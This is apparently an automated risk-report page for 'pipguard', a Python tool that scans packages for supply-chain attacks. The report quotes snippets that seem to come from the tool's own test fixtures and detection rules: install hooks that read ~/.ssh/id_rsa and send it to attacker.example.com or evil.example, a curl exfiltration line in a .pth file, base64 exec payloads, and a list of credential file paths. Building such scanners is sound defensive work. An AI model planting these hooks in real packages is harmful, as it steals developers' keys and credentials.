pipguard

v0.4.3 suspicious
4.6
Medium Risk

Scan Python packages for supply chain attacks before installing them

📦 Package Quality Overall: Low (4.8/10)

✦ High Test Suite 9.0

Test suite present — 18 test file(s) found

  • Test runner config found: pyproject.toml
  • Test runner config found: conftest.py
  • 18 test file(s) detected (e.g. __init__.py)
◈ Medium Documentation 5.0

Some documentation present

  • Detailed PyPI description (5696 chars)
○ Low Contributing Guide 4.0

No contributing guide or governance files found

  • Development Status classifier >= Beta
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 72 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 9.0

Found 6 network call pattern(s)

  • not install hook.""" s = socket.create_connection((host, port)) return s.recv(4096) """Minimal clean setu
  • work call in install hook s = socket.create_connection(("attacker.example.com", 443)) s.send(key.encode()) s.close(
  • .ssh/id_rsa')).read()\n" "urllib.request.urlopen('https://evil.example/collect', data=key.encode())\n
  • ple']) import urllib.request urllib.request.urlretrieve('http://evil.example/x', '/tmp/y') data = open(
  • Sk=')) import urllib.request urllib.request.urlopen('https://evil.example/collect') import os os.system
  • try: with urllib.request.urlopen(resolved, timeout=timeout) as resp:
⚠ Code Obfuscation score 10.0

Found 6 obfuscation pattern(s)

  • ').read() import base64 exec(base64.b64decode('cHJpbnQoMSk=')) import urllib.request urllib.request.urlop
  • ed payload pattern: exec/eval(base64.b64decode(...)) ─────── if isinstance(node, ast.Call):
  • try: der = base64.b64decode("".join(m.group(1).split())) except Exception:
  • the whole file. der = base64.b64decode("".join(body.split()), validate=True) except ValueError:
  • e_text("import base64\ndata = base64.b64decode(b'aGVsbG8=')\n") findings = scan_python_file(str(f))
  • r kw in ("import ", "exec(", "eval(", "__import__") ) if has_co
⚠ Shell / Subprocess Execution score 10.0

Found 6 shell execution pattern(s)

  • .example/collect') import os os.system('id > /tmp/pwned') import pickle pickle.loads(open('payload
  • h file containing `import os; os.system(...)` to exfiltrate credentials. """ findings = []
  • s valid Python (import os;os.system(...)). Python's site module executes any line in a .pth
  • ntent = ( b'import os;os.system("curl -s http://attacker.example.com/exfil' b'?k=$(c
  • "attack.pth": 'import os;os.system("id")\n', }) paths = [p for p, _ in collect_
  • )") return proc = subprocess.run( ["pip-audit", pkg_dir], capture_output=True
⚠ Credential Harvesting score 10.0

Found 6 credential access pattern(s)

  • ey = open(os.path.expanduser('~/.ssh/id_rsa')).read()\n" "urllib.request.urlopen('https://evil.exam
  • + ``abspath`` first so that ``~/.ssh/id_rsa`` and relative paths are caught, then checks for any de
  • com/exfil' b'?k=$(cat ~/.ssh/id_rsa | base64)")\n' ) wheel_meta = ( b"Wheel-Ve
  • ey = open(os.path.expanduser("~/.ssh/id_rsa")).read() # CRITICAL: outbound network call in install hoo
  • "cred access", snippet="open('~/.ssh/id_rsa')" ) result = PackageScanResult("evil", "0.
  • id_ecdsa", "~/.aws", ".aws/credentials", "~/.kube", ".kube/config", "~/.gnupg", "~
✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

Email domain looks legitimate: gmail.com>

✓ Suspicious Page Links

All external links appear legitimate

⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 4.0

2 maintainer concern(s) found

  • Author name is missing or very short
  • Author "" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with pipguard
Build a simple Python application using the pipguard package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!